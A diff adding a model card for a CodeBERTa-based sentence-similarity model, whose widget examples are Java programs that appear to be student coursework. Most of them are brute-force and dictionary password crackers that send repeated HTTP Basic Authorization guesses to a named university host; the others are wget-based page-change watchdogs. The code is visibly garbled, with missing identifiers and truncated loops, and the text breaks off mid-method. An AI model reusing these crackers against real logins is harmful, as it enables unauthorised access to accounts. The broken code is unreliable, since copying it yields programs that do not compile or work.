diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1100 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- dense +- generated_from_trainer +- dataset_size:34368 +- loss:CachedMultipleNegativesRankingLoss +base_model: huggingface/CodeBERTa-small-v1 +widget: +- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport\ + \ java.util.*;\n\nclass BruteForce {\n\n String password=\"\";\n\n int num\ + \ =401;\n\n\n public static void main (String[] args) {\n\n String str=\"\ + abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n BruteForce URLcon;\n\ + \n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n\ + \ \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n\ + \ \t\t\n \t\t\"Usage : java BruteForce \");\n \treturn;\n\ + \ \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\ + \n System.out.println (\" \" + new Date());\n \n System.out.println\ + \ (\"Using BruteForce method attack \"+username+\"'s password.Please waiting.......\"\ + );\n\n for (int i=0;i\"\ + );\n return;\n \t\n }\n \n String username = args[0];\n\ + \ \n \n t0=System.currentTimeMillis();\n \n System.out.println\ + \ (\" \" + new Date());\n System.out.println (\"Using Dictionary method\ + \ attack \"+username+\"'s password. Please waiting.......\");\n\n try{\ + \ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\ + ));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon\ + \ = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\ + \n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\ + The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \ + \ \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+\ + \ \" seconds\");\n \n System.out.println (\"Finish\ + \ \" + new Date());\n \n \treturn;\n\n \ + \ }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \t\ + System.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n\ + \ }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n\ + \ public Dictionary (String password,String username) {\n\n \t String urlString\ + \ = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n \ + \ String userPassword = username+\":\"+password ;\n\n String encoding\ + \ = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\ + \ URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\ + \ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\ + \ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \ + \ catch(MalformedURLException e){\n \t System.out.println(e);\n \ + \ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \ + \ }\n}" + - "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n\ + {\n public static void main(String [] args) throws Exception\n { \n \ + \ executes(\"rm index.*\");\n executes(\"wget http://www.cs.rmit.edu./students\"\ + );\n\n while (true)\n {\n String addr= \"wget http://www.cs.rmit.edu./students\"\ + ;\n executes(addr);\n String hash1 = md5sum(\"index.html\");\n\ + \ String hash2 = md5sum(\"index.html.1\");\n System.out.println(hash1\ + \ +\"|\"+ hash2);\n \n BufferedReader buf = new BufferedReader(new FileReader(\"\ + /home/k//Assign2/ulist1.txt\"));\n\n String line=\" \" ;\n String\ + \ line1=\" \" ;\n String line2=\" \";\n String line3=\" \";\n\ + \ String[] cad = new String[10];\n \n executes(\"./.sh\"\ + );\n \n int i=0;\n while ((line = buf.readLine()) != null)\n\ + \ {\n \n line1=\"http://www.cs.rmit.edu./students/images\"\ + +line;\n if (i==1)\n line2=\"http://www.cs.rmit.edu./students/images\"\ + +line;\n if (i==2)\n line3=\"http://www.cs.rmit.edu./students/images\"\ + +line;\n i++;\n }\n System.out.println(line1+\" \"\ + +line2+\" \"+line3); \n\n\n executes(\"wget \"+line1);\n executes(\"\ + wget \"+line2);\n executes(\"wget \"+line3);\n \n String\ + \ hash3 = md5sum(\"index.html.2\"); \n String hash4 = md5sum(\"index.html.3\"\ + ); \n String hash5 = md5sum(\"index.html.4\");\n\n \n\n\nBufferedReader\ + \ buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\ + \n String linee=\" \" ;\n String linee1=\" \" ;\n String\ + \ linee2=\" \";\n String linee3=\" \";\n\n executes(\"./ip1.sh\"\ + );\n\n int j=0;\n while ((linee = buf2.readLine()) != null)\n\ + \ {\n\n linee1=\"http://www.cs.rmit.edu./students/images\"\ + +linee;\n if (j==1)\n linee2=\"http://www.cs.rmit.edu./students/images\"\ + +linee;\n if (j==2)\n linee3=\"http://www.cs.rmit.edu./students/images\"\ + +linee;\n j++;\n }\n System.out.println(line1+\" \"\ + +line2+\" \"+line3);\n\n\n executes(\"wget \"+linee1);\n executes(\"\ + wget \"+linee2);\n executes(\"wget \"+linee3);\n\n String hash6\ + \ = md5sum(\"index.html.5\");\n String hash7 = md5sum(\"index.html.6\"\ + );\n String hash8 = md5sum(\"index.html.7\"); \n \n \ + \ boolean pict=false;\n if (hash3.equals(hash6))\n pict=true;\n\ + \n boolean pict2=false;\n if (hash3.equals(hash6))\n \ + \ pict2=true;\n \n boolean pict3=false;\n if (hash3.equals(hash6))\n\ + \ pict3=true;\n\n \n if (hash1.equals(hash2))\n \ + \ { \n executes(\"./difference.sh\");\n executes(\"./mail.sh\"\ + );\n \n \n\n }\n else\n {\n if (pict\ + \ || pict2 || pict3)\n {\n executes(\".~/Assign2/difference.sh\"\ + ); \n executes(\".~/Assign2/mail2.sh\");\n \ + \ }\n\n executes(\".~/Assign2/difference.sh\");\n executes(\"\ + .~/Assign2/mail.sh\");\n \n \n \n executes(\"./reorder.sh\"\ + );\n executes(\"rm index.html\");\n executes(\"cp index.html.1\ + \ index.html\");\n executes(\"rm index.html.1\");\n executes(\"\ + sleep 5\"); \n } \n }\n }\n\n public static void executes(String\ + \ comm) throws Exception\n {\n Process p = Runtime.getRuntime().exec(new String[]{\"\ + /usr/local//bash\",\"-c\", comm });\n\n BufferedReader bf = new BufferedReader(new\ + \ InputStreamReader(p.getErrorStream()));\n\n String cad;\n while((\ + \ cad = bf.readLine()) != null)\n {\n System.out.println();\n\ + \ }\n\t p.waitFor();\n }\n\n public static String md5sum(String file)\ + \ throws Exception\n {\n String cad;\n String hash= \" \"; \n\ + \n Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\"\ + ,\n \"-c\", \"md5sum \"+file });\n\ + \ BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\ + \n while((bf = cad.readLine()) != null)\n {\n StringTokenizer\ + \ word=new StringTokenizer();\n hash=word.nextToken();\n System.out.println(hash);\n\ + \ }\n return hash; \n\n }\n\n \n \n}\n\n" + - "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class BruteForce\n\ + {\n public static void main(String[] args) throws Exception\n {\n \n\ + \ String password = checkPassword(); \n\n System.out.println(\"Congratulations\ + \ Your password is \"+ password );\n \n \n\n URL url = new URL(\"\ + http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection sec = (HttpURLConnection)url.openConnection();\n\ + \ sec.setRequestProperty(\"Authorization\", \" \" + encode(\":\"+password));\n\ + \ BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));\n\ + \ String inputLine;\n\n while ((inputLine = in.readLine()) != null)\n\ + \ System.out.println(inputLine);\n in.close();\n }\n\n \n\n \ + \ private static String checkPassword() throws Exception\n {\n String\ + \ Password=\" \";\n int attempt=0;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + );\n HttpURLConnection sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\"\ + ,\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\n \ + \ \"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ + z\",\n \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"\ + I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"\ + R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i\ + \ < cad.length; i++)\n {\n for (int j=0; j< cad.length;j++)\n \ + \ {\n for (int k=0; k report.html\"\ + );\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\ + \t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\ + \ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\ + \ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\ + \ e){}\n\t}\n}\t\t\n" + sentences: + - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\ + \ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\ + \ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\ + \ String mesg1 = new String();\n String subject = new String(\"\ + Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \ + \ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\ + \ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\ + \ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\ + \t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\ + \t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \ + \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ + \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ + md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ + \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ + \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ + \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ + \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ + \ \n if(initialmd5.equals(presentmd5))\n \ + \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ + \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ + );\n System.out.println(\" is different\"); \n \ + \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ + \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ + rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ + }\t\t\n" + - "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\ + \ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ + \n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\ + \ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ + \ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\ + \ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ + \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ + \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ + \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ + \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ + \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ + \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ + File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ + \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ + \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ + \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ + \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ + \ status = true;\n }\n }\n catch (IOException e)\ + \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ + \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ + \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ + \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ + \ String userNamePasswordBase64(String username, String password) {\n return\ + \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ + \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ + \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ + \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ + \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ + \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ + \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ + \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ + \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ + \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ + \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ + \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ + \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ + \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ + \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n\n" + - "\n\nimport java.net.*; \nimport java.io.*; \nimport java.util.Date; \npublic\ + \ class Dictionary{\nprivate static String password=\" \"; \n\n \n public\ + \ static void main(String[] args) {\n String Result=\"\"; \n\t if (args.length<1)\n\ + \t {\n System.out.println(\"Correct Format Filename username e.g<>\");\ + \ \n System.exit(1);\t\n\t }\n\t \n\t Dictionary dicton1 = new Dictionary();\n\ + \ Result=dicton1.Dict(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\ + \ \n\t System.out.println(\"Cracked Password for The User \"+args[0]+\" The Password\ + \ is..\"+Result); \n \n\n \n \n }\n\n\n\n private String Dict(String urlString,String\ + \ username) \n { \n int cnt=0;\n FileInputStream stream=null;\n DataInputStream\ + \ word=null;\n\n\ttry{ \n\t stream = new FileInputStream (\"/usr/share/lib/dict/words\"\ + ); \n\n\tword =new DataInputStream(stream);\n\t t0 = System.currentTimeMillis();\ + \ \n\t\t while (word.available() !=0) \n\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\ + password=word.readLine();\n\t\t\t\t if (password.length()!=3)\n\t\t\t\t {\n\t\t\ + \t\t\tcontinue;\n\t\t\t\t }\n\t\t\t\t System.out.print(\"crackin...:\"); \n\t\t\ + \t System.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t URL\ + \ url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password;\ + \ \n\t\t\t\t \n\t\t\t\t String encoding = new url.misc.BASE64Encoder().encode\ + \ (userPassword.getBytes());\n\t\t\t\t\t URLConnection conc = url.openConnection();\n\ + \t\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\ + \t\t \n\t\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\t cnt++;\n\t\t\t\t\t \ + \ if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\ + \t\t\t\t\t {\n\t\t\t\t\t\t\tSystem.out.println(\"The Number Of Attempts : \"+cnt);\ + \ \n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0;\n\ + \t\t\t\t\t\t\tSystem.out.println(\"Total Time in secs...\"+net/1000); \n\t\t\t\ + \t\t\t\treturn password; \n\t\t\t\t\t\t}\n \t\t \t\t\n\t }\n\n\t\t\t\t\ + }\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace();\ + \ \n\n\t\t\t\t}\n\n \ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \n\ + catch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\\ + n\" + e.toString()); \n} \n\nreturn \"Password could not found\"; \n } \n \n\ + \n}" +- source_sentence: "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\ + \ extends Authenticator {\n\n \n private String username;\n \n private\ + \ char [] thisPassword;\n \n private URL url;\n \n private BufferedReader\ + \ bf;\n\n \n public static void main(String [] args) {\n if(args.length!=3)\ + \ {\n System.err.println(\n \"usage: Dictionary\ + \ \");\n System.exit(1);\n \ + \ }\n Dictionary d = null;\n try {\n d = new Dictionary(args[0],\ + \ args[1], args[2]);\n } catch (MalformedURLException me) {\n \ + \ me.printStackTrace();\n System.exit(1);\n } catch (FileNotFoundException\ + \ fe) {\n fe.printStackTrace();\n System.exit(1);\n \ + \ }\n d.work();\n }\n\n \n public Dictionary(String url, String\ + \ username, String passwordFilename) \n throws MalformedURLException,\ + \ FileNotFoundException {\n this.url = new URL(url);\n this.username\ + \ = username;\n thisPassword = new char [] {'a'};\n File f = new\ + \ File(passwordFilename);\n FileReader fr = new FileReader(f);\n \ + \ bf = new BufferedReader(fr);\n }\n\n \n public void work() {\n \ + \ Authenticator.setDefault(this);\n HttpURLConnection uc = null;\n\ + \ try { \n uc\ + \ = (HttpURLConnection) url.openConnection(); \n uc.connect(); \ + \ \n while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\ + \ &&\n thisPassword !=null) {\n try { \ + \ \n InputStream is = uc.getInputStream();\ + \ \n uc.connect(); \n \ + \ } catch (ProtocolException pe) { \n \ + \ uc = (HttpURLConnection) url.openConnection(); \n \ + \ } catch (NullPointerException npe) { \n npe.printStackTrace();\ + \ \n System.exit(1); \ + \ \n } \n \ + \ } \n } catch\ + \ (java.io.IOException e ) { \n e.printStackTrace();\ + \ \n System.exit(1); \ + \ \n } \ + \ \n System.out.println(\"password=\" + new String(thisPassword));\n\ + \ }\n\n \n public PasswordAuthentication getPasswordAuthentication()\ + \ {\n String s=null;\n try {\n for(s = bf.readLine();\ + \ s!=null; s = bf.readLine()) {\n if(s.length()==3) {\n \ + \ break;\n }\n } \n } catch (IOException\ + \ e) {\n e.printStackTrace();\n System.exit(1);\n \ + \ }\n if(s.length()!=3) {\n thisPassword = null;\n }\ + \ else {\n thisPassword = s.toCharArray();\n }\n return\ + \ new PasswordAuthentication(username, thisPassword);\n }\n}\n" + sentences: + - "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\ + \ String strUserName;\n private String strURL;\n private String strDictPath;\n\ + \ private int iAttempts;\n\n \n public Dictionary(String strURL,String\ + \ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\ + \ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\ + \ }\n \n\n public String getPassword(){\n URL u;\n String result\ + \ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\ + \ uc;\n String strPassword = new String();\n String strEncode;\n \ + \ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\ + \ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\ + \ uc = u.openConnection();\n uc.setDoInput(true);\n \ + \ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\ + \ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\ + \ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \ + \ \n result = uc.getHeaderField(0);\n uc = null;\n \ + \ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\ + \ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\ + \ return(strPassword);\n }\n \n public int getAttempts(){\n return\ + \ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\ + \ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\ + \ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\ + \ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\ + Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\ + \ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\ + );\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\ + \ else {\n System.out.println(\"[Usage] java BruteForce \ + \ \");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\ + \ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\ + \ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\ + \ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \ + \ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\ + \ String getNewPassword()\n throws PasswordFailureException{\n try {\n \ + \ {\n line = inputFile.readLine();\n }while (line.length() !=\ + \ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\ + \ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\ + \ RuntimeException {\n\n public PasswordFailureException() {\n }\n}" + - "import java.net.*;\nimport java.io.*;\n\n\npublic class BruteForce extends Authenticator\ + \ {\n\n \n private String username;\n \n private URL url;\n \n\ + \ private char [] nextPassword;\n \n private char [] thisPassword;\n\n\ + \ \n public static void main(String [] args) {\n if(args.length!=2)\ + \ {\n System.err.println(\"usage: BruteForce \");\n\ + \ System.exit(1);\n }\n BruteForce bf = null;\n \ + \ try {\n bf = new BruteForce(args[0], args[1]);\n } catch\ + \ (MalformedURLException me) {\n me.printStackTrace();\n \ + \ System.exit(1);\n }\n bf.work();\n System.exit(0);\n \ + \ }\n\n \n public BruteForce(String url, String username) \n \ + \ throws MalformedURLException {\n this.url = new URL(url);\n \ + \ this.username = username;\n this.nextPassword = new char [] {'a'};\n\ + \ }\n\n \n public void work() {\n Authenticator.setDefault(this);\n\ + \ HttpURLConnection uc = null;\n try {\n uc = (HttpURLConnection)\ + \ url.openConnection();\n uc.connect();\n\t while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\n\ + \ && nextPassword!=null) {\n try {\n \ + \ InputStream is = uc.getInputStream();\n uc.connect();\n\ + \ } catch (ProtocolException pe) {\n uc = (HttpURLConnection)\ + \ url.openConnection();\n } catch (NullPointerException npe) {\n\ + \ npe.printStackTrace();\n System.exit(1);\n\ + \ } \n }\n } catch (java.io.IOException e) {\n\ + \ e.printStackTrace();\n System.exit(1);\n }\n \ + \ System.out.println(\"password=\" + new String(thisPassword));\n }\n\n\ + \ \n public PasswordAuthentication getPasswordAuthentication() {\n \ + \ createNextPassword();\n return new PasswordAuthentication(username,\ + \ thisPassword);\n }\n\n \n public void createNextPassword() {\n \ + \ int i;\n if(thisPassword==null) {\n thisPassword = new\ + \ char [] {'A', 'A', 'A'};\n nextPassword = new char [] {'A', 'A',\ + \ 'B'};\n return;\n }\n thisPassword = nextPassword;\n\ + \ if(nextPassword[2]=='Z') {\n nextPassword[2]='a';\n \ + \ return;\n } else if(nextPassword[2]!='z') {\n i = (int)\ + \ nextPassword[2];\n nextPassword[2]=(char) ++i;\n } else {\n\ + \ nextPassword[2]='A';\n if(nextPassword[1]=='Z') {\n \ + \ nextPassword[1]='a';\n } else if(nextPassword[1]!='z')\ + \ {\n i = (int) nextPassword[1];\n nextPassword[1]=(char)\ + \ ++i;\n } else {\n nextPassword[1]='A';\n \ + \ if(nextPassword[0]=='Z') {\n nextPassword[0]='a';\n\ + \ } else if(nextPassword[0]!='z') {\n i = (int)\ + \ nextPassword[0];\n nextPassword[0]=(char) ++i;\n \ + \ } else {\n nextPassword = null;\n }\n\ + \ }\n }\n }\n}\n" + - "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\ + \ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\ + \ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\ + \ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\ + \",pwd.toCharArray());\n }\n}\n" +- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\ + \ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\ + \ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\ + \ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \ + \ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\ + \ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + );\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\ + \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\ + \ URL url = new URL(resource);\n HttpURLConnection conn\ + \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ + HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ + \ {\n System.out.println(\"cracked with \" + new String(password));\n\ + \ auth = true;\n }\n } catch (Exception e) {\n\ + \ System.out.println(\" was exception: \" + e.getMessage());\n \ + \ }\n int count = passPtr;\n while (true) {\n \ + \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \ + \ password[count] = validChars.charAt(0);\n count--;\n\ + \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\ + \ + 1);\n break;\n }\n if (count < 0) {\n\ + \ \n if (passPtr < MAX_LENGTH - 1) {\n \ + \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\ + \ } else {\n morePasswords = false;\n \ + \ }\n break;\n }\n }\n \n }\ + \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\ + );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\ + \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\ + \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\ + \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\ + \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\ + \ {\n String user = \"\";\n return new PasswordAuthentication(user,\ + \ password);\n }\n}\n" + sentences: + - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\ + \n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\ + \ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\ + \ passwd)\n {\n this.pass = passwd;\n }\n\n\t \ + \ protected PasswordAuthentication getPasswordAuthentication()\n \ + \ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\ + \ }\n public String pass;\n }\n\n public BruteForce()\ + \ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\ + \ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\ + \ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\ + \ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ + \n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\ + \ String();\n HttpURLConnection connection = null;\n URL u = null;\n\ + \n try\n {\n u = new URL(url);\n\n }\n catch\ + \ (MalformedURLException e)\n {\n }\n\n for(int a=0;a= bytes.length)\n\ + \ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else\n {\n b2 = bytes [i++];\n \ + \ if (i >= bytes.length)\n {\n b3 = 0;\n \ + \ pad = 1;\n }\n else\n b3 = bytes\ + \ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\ + \ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\ + \ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n \ + \ switch (pad)\n {\n case 0:\n encodedString\ + \ += base64Array [c3];\n encodedString += base64Array [c4];\n \ + \ break;\n case 1:\n encodedString += base64Array\ + \ [c3];\n encodedString += \"=\";\n break;\n \ + \ case 2:\n encodedString += \"==\";\n break;\n\ + \ }\n }\n return encodedString;\n }\n}\n" + sentences: + - "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\ + \ static String password=\" \"; \n\n \n public static void 